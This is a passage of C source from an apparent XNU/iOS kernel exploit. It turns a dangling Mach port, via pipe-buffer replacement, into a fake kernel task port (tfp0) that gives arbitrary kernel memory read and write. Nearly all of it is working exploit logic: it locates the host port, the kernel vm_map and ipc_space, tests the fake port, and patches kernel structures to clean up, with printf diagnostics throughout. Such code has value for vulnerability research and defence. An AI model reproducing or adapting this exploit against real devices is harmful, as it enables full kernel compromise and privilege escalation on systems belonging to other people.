| } 763 | read(read_ends[i], old_contents, 0xfff); 764 | empty_list_build_fake_task_port((uint8_t*)new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0); 765 | write(write_ends[i], new_contents, 0xfff); 766 | 767 | // try the read, did it change? 768 | uint32_t val = 0; 769 | err = pid_for_task(target_port, (int*)&val); 770 | if (err != KERN_SUCCESS) { 771 | printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); 772 | } 773 | printf("read val via pid_for_task: %08x\n", val); 774 | if (val != 0x80000002) { 775 | printf("replacer fd index %d is at the pipe_target_kaddr\n", i); 776 | pipe_target_kaddr_replacer_index = i; 777 | break; 778 | } 779 | } 780 | free(old_contents); 781 | free(new_contents); 782 | if (pipe_target_kaddr_replacer_index == -1) { 783 | printf("failed to find the pipe_target_kaddr_replacer pipe\n"); 784 | } 785 | 786 | // now we know which pipe fd matches up with where the fake task is so 787 | // bootstrap the early read primitives 788 | 789 | prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr); 790 | 791 | // we can now use empty_list_early_rk{32,64} 792 | 793 | // send a message to the canary port containing a send right to the host port; 794 | // use the arbitrary read to find that, and from there find the kernel task port 795 | 796 | mach_msg_header_t host_msg = {0}; 797 | host_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_COPY_SEND); 798 | host_msg.msgh_size = sizeof(host_msg); 799 | host_msg.msgh_remote_port = canary_port; 800 | host_msg.msgh_local_port = mach_host_self(); 801 | host_msg.msgh_id = 0x12344321; 802 | 803 | err = mach_msg(&host_msg, 804 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 805 | sizeof(host_msg), 806 | 0, 807 | MACH_PORT_NULL, 808 | MACH_MSG_TIMEOUT_NONE, 809 | MACH_PORT_NULL); 810 | if (err != KERN_SUCCESS) { 811 | printf("failed to send host message to canary port %s\n", mach_error_string(err)); 812 | //return ERR_EXPLOIT; 813 | } 814 | printf("sent host_msg to canary port, let's find it and locate the host port\n"); 815 | 816 | uint64_t host_kmsg = empty_list_early_rk64(canary_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 817 | printf("host_kmsg: %016llx\n", host_kmsg); 818 | 819 | // hexdump the kmsg: 820 | //for (int i = 0; i < 100; i++) { 821 | // uint64_t val = empty_list_early_rk64(host_kmsg + (i*8)); 822 | // printf("%016llx: %016llx\n", host_kmsg + (i*8), val); 823 | //} 824 | uint64_t host_port_kaddr = empty_list_early_rk64(host_kmsg + 0xac); // could parse the message to find this rather than hardcode 825 | 826 | // do the same thing again to get our task port: 827 | discard_message(canary_port); 828 | 829 | host_msg.msgh_local_port = mach_task_self(); 830 | err = mach_msg(&host_msg, 831 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 832 | sizeof(host_msg), 833 | 0, 834 | MACH_PORT_NULL, 835 | MACH_MSG_TIMEOUT_NONE, 836 | MACH_PORT_NULL); 837 | if (err != KERN_SUCCESS) { 838 | printf("failed to send host message to canary port %s\n", mach_error_string(err)); 839 | //return ERR_EXPLOIT; 840 | } 841 | printf("sent task_msg to canary port, let's find it and locate the host port\n"); 842 | 843 | uint64_t task_kmsg = empty_list_early_rk64(canary_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 844 | printf("task_kmsg: %016llx\n", task_kmsg); 845 | 846 | 847 | task_port_kaddr = empty_list_early_rk64(host_kmsg + 0xac); 848 | 849 | printf("our task port is at %016llx\n", task_port_kaddr); 850 | 851 | 852 | 853 | // now we can copy-paste some code from multi_path: 854 | // for the full read/write primitive we need to find the kernel vm_map and the kernel ipc_space 855 | // we can get the ipc_space easily from the host port (receiver field): 856 | uint64_t ipc_space_kernel = empty_list_early_rk64(host_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 857 | 858 | printf("ipc_space_kernel: %016llx\n", ipc_space_kernel); 859 | 860 | // the kernel vm_map is a little trickier to find 861 | // we can use the trick from mach_portal to find the kernel task port because we know it's gonna be near the host_port on the heap: 862 | 863 | // find the start of the zone block containing the host and kernel task pointers: 864 | 865 | uint64_t offset = host_port_kaddr & 0xfff; 866 | uint64_t first_port = 0; 867 | if ((offset % 0xa8) == 0) { 868 | printf("host port is on first page\n"); 869 | first_port = host_port_kaddr & ~(0xfff); 870 | } else if(((offset+0x1000) % 0xa8) == 0) { 871 | printf("host port is on second page\n"); 872 | first_port = (host_port_kaddr-0x1000) & ~(0xfff); 873 | } else if(((offset+0x2000) % 0xa8) == 0) { 874 | printf("host port is on second page\n"); 875 | first_port = (host_port_kaddr-0x2000) & ~(0xfff); 876 | } else { 877 | printf("hummm, my assumptions about port allocations are wrong...\n"); 878 | } 879 | 880 | printf("first port is at %016llx\n", first_port); 881 | uint64_t kernel_vm_map = 0; 882 | for (int i = 0; i < ports_per_zcram; i++) { 883 | uint64_t early_port_kaddr = first_port + (i*0xa8); 884 | uint32_t io_bits = empty_list_early_rk32(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)); 885 | 886 | if (io_bits != (IO_BITS_ACTIVE | IKOT_TASK)) { 887 | continue; 888 | } 889 | 890 | // get that port's kobject: 891 | uint64_t task_t = empty_list_early_rk64(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 892 | if (task_t == 0) { 893 | printf("weird heap object with NULL kobject\n"); 894 | continue; 895 | } 896 | 897 | // check the pid via the bsd_info: 898 | uint64_t bsd_info = empty_list_early_rk64(task_t + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 899 | if (bsd_info == 0) { 900 | printf("task doesn't have a bsd info\n"); 901 | continue; 902 | } 903 | uint32_t pid = empty_list_early_rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 904 | if (pid != 0) { 905 | printf("task isn't the kernel task\n"); 906 | } 907 | 908 | // found the right task, get the vm_map 909 | kernel_vm_map = empty_list_early_rk64(task_t + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 910 | break; 911 | } 912 | 913 | if (kernel_vm_map == 0) { 914 | printf("unable to find the kernel task map\n"); 915 | return ERR_EXPLOIT; 916 | } 917 | 918 | printf("kernel map:%016llx\n", kernel_vm_map); 919 | 920 | // find the address of the dangling port: 921 | uint64_t task_kaddr = empty_list_early_rk64(task_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 922 | uint64_t itk_space = empty_list_early_rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 923 | uint64_t is_table = empty_list_early_rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 924 | 925 | const int sizeof_ipc_entry_t = 0x18; 926 | uint64_t target_port_kaddr = empty_list_early_rk64(is_table + ((target_port >> 8) * sizeof_ipc_entry_t)); 927 | 928 | printf("dangling port kaddr is: %016llx\n", target_port_kaddr); 929 | 930 | // now we have everything to build a fake kernel task port for memory r/w: 931 | // we know which 932 | 933 | int target_port_read_fd = read_ends[replacer_pipe_index]; 934 | int target_port_write_fd = write_ends[replacer_pipe_index]; 935 | 936 | uint8_t* fake_tfp0_buf = malloc(0xfff); 937 | read(target_port_read_fd, fake_tfp0_buf, 0xfff); 938 | 939 | 940 | empty_list_build_fake_task_port(fake_tfp0_buf, target_port_kaddr, 0x4242424243434343, kernel_vm_map, ipc_space_kernel, 0x1234); 941 | write(target_port_write_fd, fake_tfp0_buf, 0xfff); 942 | 943 | mach_port_t fake_tfp0 = target_port; 944 | printf("hopefully prepared a fake tfp0!\n"); 945 | 946 | // test it! 947 | vm_offset_t data_out = 0; 948 | mach_msg_type_number_t out_size = 0; 949 | err = mach_vm_read(fake_tfp0, kernel_vm_map, 0x40, &data_out, &out_size); 950 | if (err != KERN_SUCCESS) { 951 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 952 | sleep(3); 953 | return ERR_EXPLOIT; 954 | } 955 | 956 | printf("kernel read via second tfp0 port worked?\n"); 957 | printf("0x%016llx\n", *(uint64_t*)data_out); 958 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 959 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 960 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 961 | 962 | prepare_for_rw_with_fake_tfp0(fake_tfp0); 963 | 964 | // can now use {r,w}k_{32,64} 965 | 966 | // cleanup: 967 | 968 | // clean up the fake canary port entry: 969 | wk64(is_table + ((fake_canary_port >> 8) * sizeof_ipc_entry_t), 0); 970 | wk64(is_table + ((fake_canary_port >> 8) * sizeof_ipc_entry_t) + 8, 0); 971 | 972 | // leak the pipe buffer which replaces the dangling port: 973 | 974 | printf("going to try to clear up the pipes now\n"); 975 | 976 | // finally we have to fix up the pipe's buffer 977 | // for this we need to find the process fd table: 978 | // struct proc: 979 | uint64_t proc_addr = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 980 | 981 | // struct filedesc 982 | uint64_t filedesc = rk64(proc_addr + koffset(KSTRUCT_OFFSET_PROC_P_FD)); 983 | 984 | // base of ofiles array 985 | uint64_t ofiles_base = rk64(filedesc + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES)); 986 | 987 | uint64_t ofiles_offset = ofiles_base + (target_port_read_fd * 8); 988 | 989 | // struct fileproc 990 | uint64_t fileproc = rk64(ofiles_offset); 991 | 992 | // struct fileglob 993 | uint64_t fileglob = rk64(fileproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 994 | 995 | // struct pipe 996 | uint64_t pipe = rk64(fileglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 997 | 998 | // clear the inline struct pipebuf 999 | printf("clearing pipebuf: %llx\n", pipe); 1000 | wk64(pipe + 0x00, 0); 1001 | wk64(pipe + 0x08, 0); 1002 | wk64(pipe + 0x10, 0); 1003 | 1004 | // do the same for the other end: 1005 | ofiles_offset = ofiles_base + (target_port_write_fd * 8); 1006 | 1007 | // struct fileproc 1008 | fileproc = rk64(ofiles_offset); 1009 | 1010 | // struct fileglob 1011 | fileglob = rk64(fileproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 1012 | 1013 | // struct pipe 1014 | pipe = rk64(fileglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 1015 | 1016 | printf("clearing pipebuf: %llx\n", pipe); 1017 | wk64(pipe + 0x00, 0); 1018 | wk64(pipe + 0x08, 0); 1019 | wk64(pipe + 0x10, 0); 1020 | 1021 | close(vfs_fd); 1022 | 1023 | printf("done!\n"); 1024 | 1025 | printf("use the functions in kmem.h to read and write kernel memory\n"); 1026 | printf("tfp0 in there will stay alive once this process exits\n"); 1027 | printf("keep hold of a send right to it; don't expect this exploit to work again without a reboot\n"); 1028 | return ret; 1029 | } 1030 | --------------------------------------------------------------------------------